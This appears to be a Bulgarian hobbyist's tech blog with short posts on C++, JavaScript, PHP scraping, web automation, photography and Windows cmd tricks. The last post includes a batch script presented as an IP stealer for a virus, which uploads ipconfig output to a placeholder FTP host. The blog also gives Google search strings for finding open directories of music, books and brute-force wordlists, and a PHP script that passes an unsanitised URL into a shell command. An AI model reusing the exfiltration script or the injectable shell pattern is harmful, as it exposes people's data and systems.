C++ – read text file and add line to vector

Реших да си припомня малко C++, защото в някои случаи е просто незаменимо като скорост на изпълнение. Което е обратно пропорционално на скоростта на писане (в моя случай). Но пък винаги е добре да владееш до известна степен някой друг език, дава ти различен ъгъл за виждане.
Днешната цел е да прочета текстов файл и да вкарам всеки ред от файла в масив. В случая няма да ползвам масив, а вектор, защото ми е по-лесно да работя с вектори:

/* 
    Open the text file in code. C++ has iostream and fstream headers to assist with this.
    Until you reach EOF, read one line at a time.
    // For each line in step 2, split the line on a space (google string tokenizer)
    // For each token from step 3, add to a vector
    For each line in step 2, add to a vector
    Close the file
*/
#include <iostream>
#include <fstream>
//#include <string>
#include <vector>
 
using namespace std;
 
 
int main () {
string line;
vector<string> myvector;
ifstream myfile ("example.txt");
 
 
if (myfile.is_open()){
  while ( myfile.good()){
    getline (myfile,line);
    // cout << line << endl;
    myvector.push_back (line);
  }
  myfile.close();
} else cout << "Unable to open file"; 
 
 
for(int i = 0; i < myvector.size(); i++ ){
    cout << myvector[i] << "\n";
}
 
return 0;
}

В началото на скрипта има едни коментари, които ги свих от някакъв сайт. По тези коментари може лесно да се направи програмата да разделя текста и на отделни думи.

Share and Enjoy !

Shares

Google search като p2p

За ефективното търсене с google има писани много книги и статии. Но не се иска да си завършил в Сорбоната за да събереш 2 прости идеи в една доста по-креативна. В този пост ще си сложа само маркери, които доста ме улесняват да си намирам достъпни за теглене музика, книги, различни видове файлове (като .blend за Blender 3d), речници за brute-force.
За пример ще дам няколко стринга за търсене. Ако сте фен на яки джазета от сорта на Bebel Gilberto (дъщерята на великия João Gilberto) и искате да си изтеглите някой неин албум, да речем Momento, можете да използвате следния критерий за търсене:

-inurl:(htm|html|php) intitle:”index of” +”last modified” +”parent directory” +description +size +(wma|mp3) “Bebel Gilberto – Momento”

Ако си търсите учебник по програмиране на D с графичните библиотеки на Tango, можете да се пробвате със следния сърч:

-inurl:(htm|html|php) intitle:”index of” +”last modified” +”parent directory” +description +size +(pdf|doc) “Learn to Tango with D”

За да се търсят zip, rar или друг тип файлове се променят разширенията в скобите (pdf|doc). Черичкта “|” означава “или”.

Повече инфо за критериите за търсене може да се намери в документацията на google:
Google Search Operators
More search help

Share and Enjoy !

Shares

JavaScript GUI – бързо, вкусно, лесно с GLUEScript

Днес докато се ровех за интересни нови неща около JavaScript интепретатора на mozilla – SpiderMonkey попаднах на много интересна среда за програмиране GLUEScript, базирана на този интерпретатор. За графичния потребителски интерфейс (GUI) се използват wxWidgets.
Възможността да се пишат GUI програми с JavaScript особено много ме гизкефи. JavaScript е доволно популярен и приложим език за програмиране. Информация в мрежата бол.
Ето едно много просто приложение, което показва лекотата за писане с GLUEScript – температурен конвертор между Фаренхайд и Целзий:

var wx = require("wx");
wx.theApp.onInit = function()
{
  var frame = new wx.Frame(null, wx.Id.ANY, "Fahrenheit to Celsius Converter", { x:-1, y: -1}, new wx.Size(307, 73));
  var panel = new wx.Panel(frame, wx.Id.ANY);
  var button = new wx.Button(panel, wx.Id.EXIT, "Convert", { x : 112, y : 8 });
 
	var textbox1 = new wx.TextCtrl(panel, wx.Id.EXIT, "", { x : 6, y : 8 });
	var textbox2 = new wx.TextCtrl(panel, wx.Id.EXIT, "", { x : 192, y : 8 });
 
	button.onClicked = function(event){
		textbox2.value = (textbox1.value - 32)*5/9;
	}
  frame.center();  
  frame.show();
  return true;
}

Запазваме програмата като converter_c_to_t.js и я изпълняваме през промпта или конзолата:

glue converter_f_to_c.js

Резултат:
JavaScript GUI - Fahrenheit to Celsius Converter
С WinRar можем да направим програмката изпълнимо exe, като включим всички необходими файлове: F_to_C_Converter.exe

Share and Enjoy !

Shares

Къде да публикувате вашите Photoshop уроци

Списък с линкове където могат да се публикуват или да се четат Photoshop Tutorials:

Вероятно много от тези сайтове са променили първоначалното си значение и вече може да се намери различна информация от photoshop уроци.

Share and Enjoy !

Shares

PHP XPath command line graber – for Windows and Linux

Написах скромно скриптче на PHP за прилагане на XPath изрази през командния ред. Скрипта изисква инсталиран Lynx или, ако се ползва под Windows трябва да се постави Lynx в същата директория. Готиното на това програмче е, че не се интересува дали има грешки в страницата.

<?php
if ($argc != 3 || in_array($argv[1], array('--help', '-help', '-h', '-?'))) {
?>
 
This is a XPath extractor.
 
  REQUIRES:
  "lynx" to be installed!
 
  USAGE:
  <?php echo $argv[0]; ?> <site> <xpath>
 
  EXAMPLE:
  <?php echo $argv[0]; ?> http://site.com/some_page.html "//a[contains(@href,\"?rec\") and not(contains(@href,\"comment\"))]/@href"
  --------------------
 
  With the --help, -help, -h,
  or -? options, you can get this help.
 
<?php
} else {
$site=$argv[1];
function get_cont($url){
$c = `lynx -source $url`;
return $c;
}
$html = get_cont($site);
$dom = new DOMDocument();
@$dom->loadHTML($html);
$xpath = new DOMXPath($dom);
$hrefs = $xpath->evaluate($argv[2]);
for ($i = 0; $i < $hrefs->length; $i++) {
	$bb = $hrefs->item($i)->nodeValue;
	print "$bb\n";
}
}
?>

Начин на употреба:

php xpath.php site.com/some_page.html "//a[contains(@href,\"?rec\") and not(contains(@href,\"comment\"))]/@href"

Остава да успея и да го компилирам :). За сега съм пробвал с Bambalam compiler, Roadsend, phc и още няколко по-незнайни емдера и компилатора, но … дърво от всякъде. Все пак, ако си имате инсталиран php и Lynx си работи идеално.
Lynx за Winblowz може да се ползва от тук: Lynx for Windows
Причината да използвам конзолния браузер Lynx е, че много сайтове използват gzip компресия на страниците, за да се зареждат по-бързо. Така не ми се налага да правя еквилибристики от сорта на:

wget -O - somesite.com | gunzip -c

Share and Enjoy !

Shares

ТОТО 6 от 49 генератор – Javascript generate random unique numbers

Скоро в форума на DBG коментирахме скрипт за генериране на случайни числа за тото 6 от 49. Аз си написах собствен JavaScript генератор, който използва специфични и важни javascript трикове:
1. Генериране на обхват от числа
2. Проверка дали дадено число е част от масив
3. Възходящо сортиране на масив от числа
Ето и кода за тото-генератора:

// Деклариране на минимално и максимално число
var min = 1;
var max = 49;
// Брой на случайно-генерираните числа
var randnums = 6;
/* =================================== */
var nums = [];
var c = 0;
var seqarr =[];
 
function compare(a,b){return a - b}
 
for (var num = min; num <= max; num++){nums.push(num)}
 
do{
	var el = nums[Math.floor(Math.random() * nums.length)];
	if(seqarr.indexOf(el) != -1){continue}
	else {
		seqarr.push(el);
		c++;
	}
}while(c<randnums);
 
document.write(seqarr.sort(compare));

Пример може да се види тук:
JavaScript Random Numbers – ТОТО 6 от 49

Share and Enjoy !

Shares

Нова версия на BGHotelCMS

Най-накрая намерих малко време да обновя проекта си, с който искам да подпомогна българския туризъм – BGHotelCMS 1.01.
Кода го пренаписах от нулата, като използвах PHP MiniTemplator, за да разделя програмирането от дизайна. Това ми помогна да съкратя доста кодирането и ми позволява да създавам и добавям много лесно нови теми за дизайна.

Повече подробности за този проект могат да се видят на страницата му – https://bghotelcms.nediko.info/

Share and Enjoy !

Shares

Web Mechanize engines

Съществуват много приложение на ботовете за автоматизиране на web-среда, т. нар. Web Mechanize engines. Тук ще разгледам няколко такива системи за механизиране и автоматизиране на работата с web-страници.

Приложение на Mechanize-ботовете

С помощта на скриптовете за автоматизиране на Web могат да се:

  • Попълват множество бланки и формуляри с еднородна информация
  • Търси в мрежата
  • Автоматизират регистрации. Примерно автоматизирано попълване на бланки за Гражданска отговорност.
  • Извличане на информация от множество сайтове наведнъж и съхраняването и.

и т.н.

Някои по-популярни Mechanize системи

WWW::Mechanize – Perl модул, написан от Jesse Vincent. Един от първите подобни модули за автоматизирано браузване.
mechanize – Python алтернатива на по-горния модул. Включва достъпните (супер лесни за работа даже) mechanize.Browser и mechanize.UserAgentBase имплементации на urllib2.OpenerDirector.
LWP – The World-Wide Web библиотека отново за Perl.
twill – базиран на Python изключително прост език за автоматизирано браузване. Изпълнява се от команден ред и изисква Python 2.3 или по-нов.
zope.testbrowser – още един модул за Python.
Watir – библиотека на Ruby за автоматизирано браузване. Супер лесна за работа.
Scriptable Browser – PHP алтернатива на горните модули. Все още има какво да се желае, но определено доста интересен проект.
Snoopy – PHP клас, който също е насочен към автоматизирано браузване.
Compass_Mechanize – PHP пакет, който е наречен от авторите “WWW::Mechanize for PHP”. Изисква Zend Framework.

Firefox Mechanize extensions

Освен посочените по-горе модули или езици, съществуват и приложения, които работят в средата на браузъра. Ще посоча някои механизатори за Firefox:
iMacros – Един от най-яките автоматизатори. Записва всички събития и генерира изключително лек и четим код. Не е нужно да изучвате скриптов език. Супер елементарно се работи с тази добавка.
iMacros Command Line – това брилянтно разширение разполага и с поддръжка на командния ред.
Chickenfoot – много любим механизатор. Има си собствен език за писане на скриптовете, който е доста лесен. Разполага и с рекордер на събитията, както и старт от командния ред: firefox -cf-run.
DejaClick – още една добавка за Firefox, която може да записва събития. Генерира малко трудно-четими скриптове, иначе пък си има някои полезни опции.
Selenium IDE – един от първите автоматизиращи плъгини за Firefox. Помня, че четох за него преди поне 6-7 години, дет се вика от зората на пандата. Не съм го ползвал, защото тогава не ми е бил необходим, но определено заслужава да е в този списък.

Разбира се има и много стари и достъпни методи за автоматизиране на по-леки задачи в Web. Например с cURL и wget понякога могат да се постигнат чудеса.

Share and Enjoy !

Shares

Pentax pef RAW-формат – задължителния формат за снимане

Снимам основно в RAW. При мен е задължително, защото бързам, все бързам. А когато бързаш, често не успяваш да направиш правилните настройки за добър кадър. Когато преди снимах в JPEG, съсипвах голям брой кадри, защото нямаше как да ги редактирам, за да придобият приличен бял баланс, осветеност, да изчистя шума и т.н.
Например един подобен кадър бих го сметнал директно за провален, ако не беше направен в RAW:

Original JPEG from RAW pef file

Оригиналната снимка от RAW-файла, конвертирана без редакция с FastStone Image Viewer


След бърза обработка с програмата за обработка на RAW-изображения SILKYPIX, който ми е любимата програма за обработка на изображения се получи нещо далеч по прилично:
Silkypix edit file

Обработеното изображение със Silkypix


Настройките, които използвах са:
Silkypix Settings

RAW формата дава възможност да се извлече много от цветната динамика на кадъра. Този формат съдържа няколко пъти повече информация или цветове, което именно позволява да се спаси в случая по-тъмно изображение. Ако бях снимал в JPEG, тъмните места бих се получили черни, а черното “#000000” не може да се редактира. Както и абсолютно бялото “#ffffff“. В единия случай имаме недоекспониране, в другия имаме преекспониране и прегаряне на кадъра. Подобни фатални грешки често са поправими, ако се снима в RAW.

До скоро снимането в RAW беше привилегия на DSLR телата, като малко сапунерки или ултразумчета поддържаха този формат. Напоследък се появява при все повече не-огледално-рефлексни фотоапарати. Има голяма мания по свободния фирмуеър за Canon сапунерчета CHDK, който позволява обикновена сапунерка да снима в RAW-формат.

Share and Enjoy !

Shares

cmd tilde “~” – рязане на стринг в командния ред CommandPrompt

Windows cms съдържа един много полезен инструмент за рязане на стрингове. Това е тилдата – tilde (коя е тая Тилда бе???…). Ем ей тая “~”!
Това чудо брои от 0. Реже до колкото му кажеш и реже от тук до еди-колко-си, а синтаксиса е: %променлива:~начало,край%. Въобще не ме бива в лириката, но пък ме бива много в примерите :), за това ще покажа. Стартирате един cmd (Start -> Run -> cmd) и декларирате някаква променлива.

set a=0123456789
echo %a:~0,3%

Това връща резултата 012, защото в случая отрязахме стринга от нула до 2-я. Можем да отрежем от 3-я до 7-я, това би изглеждало така:

echo %a:~3,7%

Това ще ни върне: 3456789
Ех, че яка тая тилда!
Направо ми идва на идея да спретна един random генератор за batch :):

set r=%random%%time:~6,5%
echo %r%

В случая използвам и вградената команда за случайни числа на cmd – random. И след генерираното число добавям изрязани от командата за текущо време time секундите от текущия час, запетайка и стотните от текущия час. Резултата изглежда нещо от сорта:
1428246,37
А дали това не може да се използва за правенето на простичък крадец на ip-та, който да се навре в вирусче или нещо друго. Ако се възползваме от останалите възможности на cmd, като find

@echo off
set ip=%random%%time:~6,5%
ipconfig /all | find "IP Addres" > %ip%.txt
sleep 2
echo user POTREBITEL> ftpcmd.dat
echo PAROLA>> ftpcmd.dat
bin>> ftpcmd.dat
type %ip%.txt
echo put %ip%.txt >> ftpcmd.dat
echo bye >> ftpcmd.dat
ftp -n -s:ftpcmd.dat FTPSITE.COM
del ftpcmd.dat
del %ip%.txt

Този скрипт ще вземе IP-адреса на компютъра, на който е стартиран и ще го качи на посочен от вас FTP-сървар.
Моля не използвайте този скрипт за лоши неща! Пазете си кармата!

Share and Enjoy !

Shares